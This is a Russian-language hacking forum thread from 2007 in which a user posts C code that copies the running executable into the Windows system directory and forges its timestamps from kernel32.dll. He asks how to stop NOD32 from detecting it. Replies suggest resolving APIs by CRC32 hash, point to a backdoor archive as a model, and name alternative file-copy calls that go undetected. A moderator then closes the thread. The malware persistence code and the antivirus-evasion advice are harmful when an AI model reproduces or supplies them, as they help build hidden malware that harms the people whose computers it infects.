HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

CopyToSysDir() Помогите поправить
  #1  
Старый 02.07.2007, 20:25
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами: 9948928

Репутация: 208
Question CopyToSysDir() Помогите поправить

Функция копирует ехе процесса в системную директорию. Мой нод32 ее палит. помогите испарвить, чтобы не ловилась.
Код:
// ---------------- [ Copy to system directory ] -------------- //

int CopyToSysDir(char * szBuff)
{
	char szExe[256], szNewExe[256], szSysDir[256], szKernl[256], szCurDir[256];
	HANDLE hFile;
	FILETIME aTime, bTime, cTime;

	if ( GetModuleFileName(NULL, szExe, 256) == 0 )
		return 0;

	if ( GetSystemDirectory(szSysDir, 256) == 0 )
		return 0;

	if ( GetCurrentDirectory(256, szCurDir) == 0 )
		return 0;

	if ( (strcmp(szSysDir, szCurDir) == 0) && (strcmp(szExe, EXE_NAME) == 0) )
		return 0;

	lstrcpy(szNewExe, szSysDir);
	lstrcat(szNewExe, "\\");
	lstrcat(szNewExe, EXE_NAME);

	if ( CopyFile(szExe, szNewExe, FALSE) == 0 ) // палится в этом месте
		return 0;

	lstrcpy(szKernl, szSysDir);
	lstrcat(szKernl, "\\");
	lstrcat(szKernl, KERNEL32_DLL);

	hFile = CreateFile(szKernl, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if ( hFile != INVALID_HANDLE_VALUE ) 
	{
		GetFileTime(hFile, &aTime, &bTime, &cTime);
		CloseHandle(hFile);
	}
	else
		return 0;

	hFile = CreateFile(szNewExe, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if ( hFile != INVALID_HANDLE_VALUE ) 
	{
		SetFileTime(hFile, &aTime, &bTime, &cTime);
		CloseHandle(hFile);
	}
	else
		return 0;

	memcpy(szBuff, szNewExe, 256);

	return 1;
}
 

  #2  
Старый 02.07.2007, 23:13
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами: 10370602

Репутация: 472
По умолчанию

для начала убери прямой вызов апи, можешь использовать crc32
 

  #3  
Старый 03.07.2007, 00:40
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами: 9948928

Репутация: 208
По умолчанию

а можно с примером?
 

  #4  
Старый 03.07.2007, 01:01
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами: 10370602

Репутация: 472
По умолчанию

http://hellknights.void.ru/releases/el-backdoor-small-v0.02.rar
в нем реализован поиск апи по crc32, разбирайся
 

  #5  
Старый 03.07.2007, 01:34
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами: 9948928

Репутация: 208
По умолчанию

ок. спс.
а больше нету никаких способов изменить код, который палит антивирь? не обязательно тот, что я привел выше
 

  #6  
Старый 03.07.2007, 01:44
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
С нами: 10222145

Репутация: 726
По умолчанию

У меня MoveFileExA не палился.
Сейчас в лом опять NOD ставить, чтобы проверить и с установками экспериментировать.
 

  #7  
Старый 03.07.2007, 03:05
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

как понять палит? палит весь файл по ф-ии или его действия AMON файл-монитором?
ну скоипируй содержимое своего ЕХЕ в созданый в сис. дериктории файл
CreateFile(), WriteFile(), RedFile(), CloseHandle()

хотя, как видно, код ты просто скопипастил, непонимая что означает ни одна строчка.
 

  #8  
Старый 03.07.2007, 10:34
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
С нами: 10721066

Репутация: 4360


По умолчанию

Блин, а ты как хотел? Конечно, палит.

Закрыто по причинам:

1) Ссылок дали достаточно. + еще дам: http://wasm.ru/
2) Блин, да задолбали темы как скрыться от АВ и фаеров. Думайте своей головой
 
Закрытая тема



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПомогитЕ !!! подалуста найти кряк гейлордфакерЪ Болталка 2 30.08.2007 14:48
ПоМоГиТе! ПЛЗ!!! farik.aka Уязвимости Mail-сервис 1 17.09.2006 13:00



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.